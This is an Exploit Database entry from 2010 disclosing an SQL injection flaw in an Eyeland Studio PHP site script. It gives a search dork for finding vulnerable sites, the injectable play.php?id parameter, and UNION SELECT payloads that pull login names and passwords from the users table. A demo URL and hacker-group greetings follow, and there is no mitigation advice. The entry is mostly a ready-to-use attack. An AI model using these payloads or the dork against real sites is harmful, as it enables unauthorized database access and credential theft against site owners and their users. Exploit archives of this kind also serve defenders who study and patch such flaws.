Eyeland Studio Inc. - SQL Injection

EDB-ID:

13855

CVE:

N/A




Platform:

PHP

Date:

2010-06-13


Title: Eyeland Studio Inc. SQL Injection Vulnerability
# Version: 2.0
# Author: Mr.P3rfekT
# Software Site:http://www.eyeland.com/
# Tested on Lunix
# CVE : N/A
# Home :www.realmadridsy.com & www.v4-team.com/cc
############### Founded By Mr.P3rfekT ##############


# Dork :"Eyeland Studio Inc. All Rights Reserved."

# Helllo Allz.



# Exploit :

http://[site]/path/play.php?id={SQLi}



#Poc :
union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users


# Poc:

union select 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users


# Demo:
http:www.site.com/path/play.php?id=-25union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users


./done.


Mail : R4p@hotmail.com

Greeeeeeeeeeeeeetz : Cyb3r-DeViL , V4-team.com/cc Members Except Some Lammerz Cheaters They Know Them Self Muhahaha